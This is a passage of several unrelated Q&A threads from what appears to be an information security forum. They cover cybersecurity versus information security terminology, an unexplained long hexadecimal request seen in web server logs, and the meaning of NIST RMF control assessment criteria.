  Cyberspace”.  In turn “the Cyberspace” (complete with definite article)
  is defined as “the complex environment resulting from the interaction
  of people, software and services on the Internet by means of technology
  devices and networks connected to it, which does not exist in any physical form”.

Further reading into ISO 27032 will discover some similarities with the ISO27001 and it is really hard to differentiate Information Security Controls from Cybersecurity Controls.

So my question is:

Is cyber security the "internet specific part" from IT Security?, are they just the same but now we call it this new way?

Or is Cybersecurity the new "IT Security" and now the old "IT Security" is part of this Cybersecurity?

Apart from the "technologies" or the "nature of the threats" is Cybersecurity bringing a brand new scenario to TIC Security? isn't it the same scenario but now we have more awareness of the same threats (or more people trying to explode the systems)?

NoVa Infosec has a good post on this exact topic.

I tend to agree with the author's view that Information Security is a super-set of Cyber Security.

In my humble opinion "Cyber Security" was most probably a term coined in a late 90's boardroom somewhere by a sales person during his marketing spiel because "Website/Data/System/Internet Security" didn't sound cool enough.

Either way, I don't think you'll ever get the users of these interchangeable terms to agree on a common use.


What are these long hexadecimal HTTP requests? I'm receiving long hexadecimal requests on my webserver, such as: /f588069cda088c9a0fc25509fc4ed8418fe47a447683243395e649753d2d4b87cce9c4b3cc16cb5f44068e6da475dbffa9689b9ad237b5c941bb9ad2aa6759f7e4e39ba3012202cdce328f7eccc7efa48642eec1870e15c39924bc3c790ba04c
I've tried to decode them using hexadecimal convertor tools, but can't seem to get any output that's meaningful. What are these 192-character length requests?

The Shannon entropy of this data indicates it is unlikely to be encrypted or compressed. An analysis can be found here. The Shannon entropy is 3.94, which is actually in the range of typical English text (usually between 3.5 and 5).
Converting the hexadecimal text to UTF-8, I got the following: õ...Ú....ÂU üNØA.äzDv.$3.æIu=-K.ÌéÄ³Ì.Ë_D..m¤uÛÿ©h..Ò7µÉA».ÒªgY÷äã.£.".ÍÎ2.~ÌÇï¤.BîÁ...Ã.$¼<y. L
I don't know what this means, but it really looks like a line from a packet capture, as you might see when running tcpdump or similar. I have no idea why your server would be getting sent these.
As far as determining whether you should be concerned, it is possible this is some kind of command and control protocol being used to communicate via your server. Perhaps you can try appending many of these requests together to see if you'll get more meaning when converting the totality of data to UTF. I'd also monitor your outbound network traffic, especially to the source IP behind these requests.
My best guess is this is just noise. Since you're curious however, these are some next steps you can take. Please update if you learn more!


Distinction among the criteria "implemented correctly", "operating as intended", and "producing the desired outcome" Throughout the RMF documents, one finds the phrase, a) "implemented correctly, b) operating as intended, and c) producing the desired outcome"  with respect to meeting security requirements or control assessments. Some years ago, I remember reading an example (or a set of three examples, really) that highlighted clearly the different meaning of those three criteria. In each of the three examples, only one criteria was not met, as I recall.

It's relatively easy to think of an example where a and b are true, but not c: e.g., If the requirements have been expressed or interpreted incorrectly.

However, I'm having trouble imagining how a or b could be false, but c could still be true. Can anyone remember what I've forgotten, or can anyone provide a way of making this distinction clear?  Thanks!

Without getting too much into the weeds or technical, I would imagine that a system can exist in an environment where there are strict guidelines for both the implementation of security features and the operation of said system - there may be a separate function (access control, authentication, etc.) that produces a desired outcome but doesn't adhere to the aforementioned strict guidelines.

A very basic example would be that a sys admin is supposed to set up groups to control permissions, but instead assigns permissions at a user level - the desired outcome is limiting specific users to specific places on the system, which is achieved - but the implementation guidelines and the protocols the sys admin was supposed to follow were neglected.

In all of the NIST documentation I've sifted through, this sequence of assessment parameters seems more like a CYA catch-all since they are broadly defined on purpose - whereas in more specific guidance, you'll find a sequence like:

  "..that the required security controls are implemented correctly, operating as intended, enforcing the desired security policy, and meeting established security requirements."

where "enforcing desired security policy" would be a desired outcome, and "meeting established security requirements" calls back to both implementation and operation - there is a lot of room for overlap with the descriptions on purpose.